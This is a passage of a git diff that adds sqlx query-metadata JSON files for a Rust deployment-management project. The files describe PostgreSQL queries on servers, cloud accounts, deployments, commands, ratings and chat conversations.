b/stacker/stacker/.sqlx/query-a24f6ae41366cfc2480a7d7832b1f823cc91662394ec8025b7ef486b85374411.json @@ -0,0 +1,125 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE server\n SET\n connection_mode = $2,\n updated_at = NOW() at time zone 'utc'\n WHERE id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 11, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 14, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "cloud_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true, + true + ] + }, + "hash": "a24f6ae41366cfc2480a7d7832b1f823cc91662394ec8025b7ef486b85374411" +} diff --git a/stacker/stacker/.sqlx/query-a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd.json b/stacker/stacker/.sqlx/query-a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd.json new file mode 100644 index 0000000..b3d411b --- /dev/null +++ b/stacker/stacker/.sqlx/query-a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd.json @@ -0,0 +1,19 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO stack_template (\n id,\n creator_user_id,\n creator_name,\n name,\n slug,\n short_description,\n status,\n tags,\n tech_stack,\n view_count,\n deploy_count,\n created_at,\n updated_at\n )\n VALUES ($1, $2, $3, $4, $5, $6, 'approved', '[]'::jsonb, '{}'::jsonb, 0, 0, NOW(), NOW())\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Text" + ] + }, + "nullable": [] + }, + "hash": "a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd" +} diff --git a/stacker/stacker/.sqlx/query-aa21279e6479dd588317bbb4c522094f0cf8736710de08963fff1178f2b62974.json b/stacker/stacker/.sqlx/query-aa21279e6479dd588317bbb4c522094f0cf8736710de08963fff1178f2b62974.json new file mode 100644 index 0000000..ae2f5d9 --- /dev/null +++ b/stacker/stacker/.sqlx/query-aa21279e6479dd588317bbb4c522094f0cf8736710de08963fff1178f2b62974.json @@ -0,0 +1,100 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n FROM commands\n WHERE id = $1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "aa21279e6479dd588317bbb4c522094f0cf8736710de08963fff1178f2b62974" +} diff --git a/stacker/stacker/.sqlx/query-b33f8552276056b53e184e7e51c6cbee7b72e99977fd028a28d3e2f45be14225.json b/stacker/stacker/.sqlx/query-b33f8552276056b53e184e7e51c6cbee7b72e99977fd028a28d3e2f45be14225.json new file mode 100644 index 0000000..b07273b --- /dev/null +++ b/stacker/stacker/.sqlx/query-b33f8552276056b53e184e7e51c6cbee7b72e99977fd028a28d3e2f45be14225.json @@ -0,0 +1,52 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT id, user_id, project_id, messages, created_at, updated_at\n FROM chat_conversations\n WHERE user_id = $1 AND project_id IS NULL", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "messages", + "type_info": "Jsonb" + }, + { + "ordinal": 4, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 5, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + true, + false, + false, + false + ] + }, + "hash": "b33f8552276056b53e184e7e51c6cbee7b72e99977fd028a28d3e2f45be14225" +} diff --git a/stacker/stacker/.sqlx/query-b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7.json b/stacker/stacker/.sqlx/query-b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7.json new file mode 100644 index 0000000..dcd249d --- /dev/null +++ b/stacker/stacker/.sqlx/query-b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7.json @@ -0,0 +1,22 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT occurred_at\n FROM marketplace_event\n WHERE template_id = $1\n ORDER BY occurred_at DESC\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "occurred_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [ + true + ] + }, + "hash": "b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7" +} diff --git a/stacker/stacker/.sqlx/query-b8296183bd28695d3a7574e57db445dc1f4b2d659a3805f92f6f5f83b562266b.json b/stacker/stacker/.sqlx/query-b8296183bd28695d3a7574e57db445dc1f4b2d659a3805f92f6f5f83b562266b.json new file mode 100644 index 0000000..4b63dd0 --- /dev/null +++ b/stacker/stacker/.sqlx/query-b8296183bd28695d3a7574e57db445dc1f4b2d659a3805f92f6f5f83b562266b.json @@ -0,0 +1,76 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM cloud\n WHERE user_id=$1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "provider", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "cloud_token", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "cloud_key", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "cloud_secret", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "save_token", + "type_info": "Bool" + }, + { + "ordinal": 7, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 8, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "name", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + false, + false, + false + ] + }, + "hash": "b8296183bd28695d3a7574e57db445dc1f4b2d659a3805f92f6f5f83b562266b" +} diff --git a/stacker/stacker/.sqlx/query-b8e47b0c9f1eeb571001c340c3f6593303ef635f9a93707996f86ae4a5db1e99.json b/stacker/stacker/.sqlx/query-b8e47b0c9f1eeb571001c340c3f6593303ef635f9a93707996f86ae4a5db1e99.json new file mode 100644 index 0000000..339ec89 --- /dev/null +++ b/stacker/stacker/.sqlx/query-b8e47b0c9f1eeb571001c340c3f6593303ef635f9a93707996f86ae4a5db1e99.json @@ -0,0 +1,54 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO chat_conversations (user_id, project_id, messages)\n VALUES ($1, $2, $3)\n ON CONFLICT (user_id, project_id) WHERE project_id IS NOT NULL\n DO UPDATE SET messages = EXCLUDED.messages, updated_at = NOW()\n RETURNING id, user_id, project_id, messages, created_at, updated_at", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "messages", + "type_info": "Jsonb" + }, + { + "ordinal": 4, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 5, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Int4", + "Jsonb" + ] + }, + "nullable": [ + false, + false, + true, + false, + false, + false + ] + }, + "hash": "b8e47b0c9f1eeb571001c340c3f6593303ef635f9a93707996f86ae4a5db1e99" +} diff --git a/stacker/stacker/.sqlx/query-bc798b1837501109ff69f44c01d39c1cc03348eb4b4fe698ad06283ba7072b7f.json b/stacker/stacker/.sqlx/query-bc798b1837501109ff69f44c01d39c1cc03348eb4b4fe698ad06283ba7072b7f.json new file mode 100644 index 0000000..0f85900 --- /dev/null +++ b/stacker/stacker/.sqlx/query-bc798b1837501109ff69f44c01d39c1cc03348eb4b4fe698ad06283ba7072b7f.json @@ -0,0 +1,113 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO commands (\n id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n )\n VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14)\n RETURNING id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Uuid", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Jsonb", + "Jsonb", + "Jsonb", + "Varchar", + "Timestamptz", + "Timestamptz", + "Int4", + "Jsonb" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "bc798b1837501109ff69f44c01d39c1cc03348eb4b4fe698ad06283ba7072b7f" +} diff --git a/stacker/stacker/.sqlx/query-c28d645182680aaeaf265abcb687ea36f2a01b6b778fd61921e0046ad3f2efb2.json b/stacker/stacker/.sqlx/query-c28d645182680aaeaf265abcb687ea36f2a01b6b778fd61921e0046ad3f2efb2.json new file mode 100644 index 0000000..155c1fc --- /dev/null +++ b/stacker/stacker/.sqlx/query-c28d645182680aaeaf265abcb687ea36f2a01b6b778fd61921e0046ad3f2efb2.json @@ -0,0 +1,47 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM user_agreement\n WHERE user_id=$1\n AND agrt_id=$2\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "agrt_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 4, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text", + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false + ] + }, + "hash": "c28d645182680aaeaf265abcb687ea36f2a01b6b778fd61921e0046ad3f2efb2" +} diff --git a/stacker/stacker/.sqlx/query-c9a83f9d610a79bef78e533dde75f527ab75ef319ef0584851feb5b893a9fa46.json b/stacker/stacker/.sqlx/query-c9a83f9d610a79bef78e533dde75f527ab75ef319ef0584851feb5b893a9fa46.json new file mode 100644 index 0000000..10080bb --- /dev/null +++ b/stacker/stacker/.sqlx/query-c9a83f9d610a79bef78e533dde75f527ab75ef319ef0584851feb5b893a9fa46.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n DELETE FROM project_app WHERE id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [] + }, + "hash": "c9a83f9d610a79bef78e533dde75f527ab75ef319ef0584851feb5b893a9fa46" +} diff --git a/stacker/stacker/.sqlx/query-cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d.json b/stacker/stacker/.sqlx/query-cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d.json new file mode 100644 index 0000000..cfe98af --- /dev/null +++ b/stacker/stacker/.sqlx/query-cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE stack_template \n SET view_count = 42, deploy_count = 15\n WHERE id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d" +} diff --git a/stacker/stacker/.sqlx/query-cd6ddae34b29c15924e0ec26ea55c23d56315ad817bea716d6a71c8b2bb18087.json b/stacker/stacker/.sqlx/query-cd6ddae34b29c15924e0ec26ea55c23d56315ad817bea716d6a71c8b2bb18087.json new file mode 100644 index 0000000..64f052c --- /dev/null +++ b/stacker/stacker/.sqlx/query-cd6ddae34b29c15924e0ec26ea55c23d56315ad817bea716d6a71c8b2bb18087.json @@ -0,0 +1,44 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO rating (user_id, obj_id, category, comment, hidden, rate, created_at, updated_at)\n VALUES ($1, $2, $3, $4, $5, $6, NOW() at time zone 'utc', NOW() at time zone 'utc')\n RETURNING id\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Int4", + { + "Custom": { + "name": "rate_category", + "kind": { + "Enum": [ + "application", + "cloud", + "project", + "deploymentSpeed", + "documentation", + "design", + "techSupport", + "price", + "memoryUsage" + ] + } + } + }, + "Text", + "Bool", + "Int4" + ] + }, + "nullable": [ + false + ] + }, + "hash": "cd6ddae34b29c15924e0ec26ea55c23d56315ad817bea716d6a71c8b2bb18087" +} diff --git a/stacker/stacker/.sqlx/query-cd86c117d0d53af2bdbb0e3d38c179bfa6025ef0a7f1245d59b8dfca1f421c63.json b/stacker/stacker/.sqlx/query-cd86c117d0d53af2bdbb0e3d38c179bfa6025ef0a7f1245d59b8dfca1f421c63.json new file mode 100644 index 0000000..9654af2 --- /dev/null +++ b/stacker/stacker/.sqlx/query-cd86c117d0d53af2bdbb0e3d38c179bfa6025ef0a7f1245d59b8dfca1f421c63.json @@ -0,0 +1,82 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata,\n last_seen_at, created_at, updated_at\n FROM deployment\n WHERE deployment_hash = $1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "deleted", + "type_info": "Bool" + }, + { + "ordinal": 5, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "runtime", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "last_seen_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + false, + false, + false, + true, + false, + false + ] + }, + "hash": "cd86c117d0d53af2bdbb0e3d38c179bfa6025ef0a7f1245d59b8dfca1f421c63" +} diff --git a/stacker/stacker/.sqlx/query-cf85345c0c38d7ba1c347a9cf027a55dccaaeb0fe55d5eabb7319a90cbdfe951.json b/stacker/stacker/.sqlx/query-cf85345c0c38d7ba1c347a9cf027a55dccaaeb0fe55d5eabb7319a90cbdfe951.json new file mode 100644 index 0000000..e24d9cb --- /dev/null +++ b/stacker/stacker/.sqlx/query-cf85345c0c38d7ba1c347a9cf027a55dccaaeb0fe55d5eabb7319a90cbdfe951.json @@ -0,0 +1,85 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT \n id,\n user_id,\n obj_id,\n category as \"category: _\",\n comment,\n hidden,\n rate,\n created_at,\n updated_at\n FROM rating\n ORDER BY id DESC\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "obj_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "category: _", + "type_info": { + "Custom": { + "name": "rate_category", + "kind": { + "Enum": [ + "application", + "cloud", + "project", + "deploymentSpeed", + "documentation", + "design", + "techSupport", + "price", + "memoryUsage" + ] + } + } + } + }, + { + "ordinal": 4, + "name": "comment", + "type_info": "Text" + }, + { + "ordinal": 5, + "name": "hidden", + "type_info": "Bool" + }, + { + "ordinal": 6, + "name": "rate", + "type_info": "Int4" + }, + { + "ordinal": 7, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 8, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [] + }, + "nullable": [ + false, + false, + false, + false, + true, + true, + true, + false, + false + ] + }, + "hash": "cf85345c0c38d7ba1c347a9cf027a55dccaaeb0fe55d5eabb7319a90cbdfe951" +} diff --git a/stacker/stacker/.sqlx/query-d0180ded027387b6ed250412927e1252aab3be67b016e9dc10a40ba229225b68.json b/stacker/stacker/.sqlx/query-d0180ded027387b6ed250412927e1252aab3be67b016e9dc10a40ba229225b68.json new file mode 100644 index 0000000..0f42fcd --- /dev/null +++ b/stacker/stacker/.sqlx/query-d0180ded027387b6ed250412927e1252aab3be67b016e9dc10a40ba229225b68.json @@ -0,0 +1,90 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE deployment\n SET\n project_id=$2,\n user_id=$3,\n deployment_hash=$4,\n deleted=$5,\n status=$6,\n runtime=$7,\n metadata=$8,\n last_seen_at=$9,\n updated_at=NOW() at time zone 'utc'\n WHERE id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 3, + "name": "deleted", + "type_info": "Bool" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 6, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 7, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "last_seen_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "runtime", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Int4", + "Int4", + "Varchar", + "Varchar", + "Bool", + "Varchar", + "Varchar", + "Json", + "Timestamptz" + ] + }, + "nullable": [ + false, + false, + false, + true, + false, + false, + false, + false, + true, + true, + false + ] + }, + "hash": "d0180ded027387b6ed250412927e1252aab3be67b016e9dc10a40ba229225b68" +} diff --git a/stacker/stacker/.sqlx/query-d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3.json b/stacker/stacker/.sqlx/query-d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3.json new file mode 100644 index 0000000..d2becaa --- /dev/null +++ b/stacker/stacker/.sqlx/query-d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE stack_template \n SET view_count = 25, deploy_count = 10\n WHERE id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3" +} diff --git a/stacker/stacker/.sqlx/query-d4fdef5755536c2b9e0b56448c9f7b9143ee3a6fc9b363f93d0c816d44ebbbb0.json b/stacker/stacker/.sqlx/query-d4fdef5755536c2b9e0b56448c9f7b9143ee3a6fc9b363f93d0c816d44ebbbb0.json new file mode 100644 index 0000000..c966c3b --- /dev/null +++ b/stacker/stacker/.sqlx/query-d4fdef5755536c2b9e0b56448c9f7b9143ee3a6fc9b363f93d0c816d44ebbbb0.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "UPDATE stack_template SET status = 'submitted', updated_at = now()\n WHERE id = $1::uuid AND status IN ('rejected', 'needs_changes', 'approved')", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "d4fdef5755536c2b9e0b56448c9f7b9143ee3a6fc9b363f93d0c816d44ebbbb0" +} diff --git a/stacker/stacker/.sqlx/query-dd36c2beb4867d36db9dc0fe47e6310aea0a7dd4c8fc5f7c2cff4dac327cf3f7.json b/stacker/stacker/.sqlx/query-dd36c2beb4867d36db9dc0fe47e6310aea0a7dd4c8fc5f7c2cff4dac327cf3f7.json new file mode 100644 index 0000000..2091a8b --- /dev/null +++ b/stacker/stacker/.sqlx/query-dd36c2beb4867d36db9dc0fe47e6310aea0a7dd4c8fc5f7c2cff4dac327cf3f7.json @@ -0,0 +1,23 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO client (user_id, secret, created_at, updated_at)\n VALUES ($1, $2, NOW() at time zone 'utc', NOW() at time zone 'utc')\n RETURNING id\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Varchar" + ] + }, + "nullable": [ + false + ] + }, + "hash": "dd36c2beb4867d36db9dc0fe47e6310aea0a7dd4c8fc5f7c2cff4dac327cf3f7" +} diff --git a/stacker/stacker/.sqlx/query-e0bc560df5637788c7096c0bf0535cc601af9ca4a06bd87100cd68a251431618.json b/stacker/stacker/.sqlx/query-e0bc560df5637788c7096c0bf0535cc601af9ca4a06bd87100cd68a251431618.json new file mode 100644 index 0000000..1fe1ad1 --- /dev/null +++ b/stacker/stacker/.sqlx/query-e0bc560df5637788c7096c0bf0535cc601af9ca4a06bd87100cd68a251431618.json @@ -0,0 +1,83 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE cloud\n SET\n user_id=$2,\n name=$3,\n provider=$4,\n cloud_token=$5,\n cloud_key=$6,\n cloud_secret=$7,\n save_token=$8,\n updated_at=NOW() at time zone 'utc'\n WHERE id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "provider", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "cloud_token", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "cloud_key", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "cloud_secret", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "save_token", + "type_info": "Bool" + }, + { + "ordinal": 7, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 8, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "name", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Bool" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + false, + false, + false + ] + }, + "hash": "e0bc560df5637788c7096c0bf0535cc601af9ca4a06bd87100cd68a251431618" +} diff --git a/stacker/stacker/.sqlx/query-e1258273806ab030586a80cb7ac83a5339d0a631fc702082f95642ebb0c1d3a7.json b/stacker/stacker/.sqlx/query-e1258273806ab030586a80cb7ac83a5339d0a631fc702082f95642ebb0c1d3a7.json new file mode 100644 index 0000000..64a3f11 --- /dev/null +++ b/stacker/stacker/.sqlx/query-e1258273806ab030586a80cb7ac83a5339d0a631fc702082f95642ebb0c1d3a7.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "UPDATE stack_template SET status = 'submitted' WHERE id = $1::uuid AND status IN ('draft','rejected','needs_changes')", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "e1258273806ab030586a80cb7ac83a5339d0a631fc702082f95642ebb0c1d3a7" +} diff --git a/stacker/stacker/.sqlx/query-e30c243399e8d63aabb6b1002b499280f8140801c861122c5cbe59faa9797016.json b/stacker/stacker/.sqlx/query-e30c243399e8d63aabb6b1002b499280f8140801c861122c5cbe59faa9797016.json new file mode 100644 index 0000000..7d3950c --- /dev/null +++ b/stacker/stacker/.sqlx/query-e30c243399e8d63aabb6b1002b499280f8140801c861122c5cbe59faa9797016.json @@ -0,0 +1,31 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO deployment (\n project_id, user_id, deployment_hash, deleted, status, runtime, metadata, last_seen_at, created_at, updated_at\n )\n VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)\n RETURNING id;\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Varchar", + "Bool", + "Varchar", + "Varchar", + "Json", + "Timestamptz", + "Timestamptz", + "Timestamptz" + ] + }, + "nullable": [ + false + ] + }, + "hash": "e30c243399e8d63aabb6b1002b499280f8140801c861122c5cbe59faa9797016" +} diff --git a/stacker/stacker/.sqlx/query-e5a60eb49da1cd42fc6c1bac36f038846f0cb4440e4b377d495ffe0f0bfc11b6.json b/stacker/stacker/.sqlx/query-e5a60eb49da1cd42fc6c1bac36f038846f0cb4440e4b377d495ffe0f0bfc11b6.json new file mode 100644 index 0000000..966ab27 --- /dev/null +++ b/stacker/stacker/.sqlx/query-e5a60eb49da1cd42fc6c1bac36f038846f0cb4440e4b377d495ffe0f0bfc11b6.json @@ -0,0 +1,34 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT id, user_id, secret FROM client c WHERE c.id = $1", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "secret", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + true + ] + }, + "hash": "e5a60eb49da1cd42fc6c1bac36f038846f0cb4440e4b377d495ffe0f0bfc11b6" +} diff --git 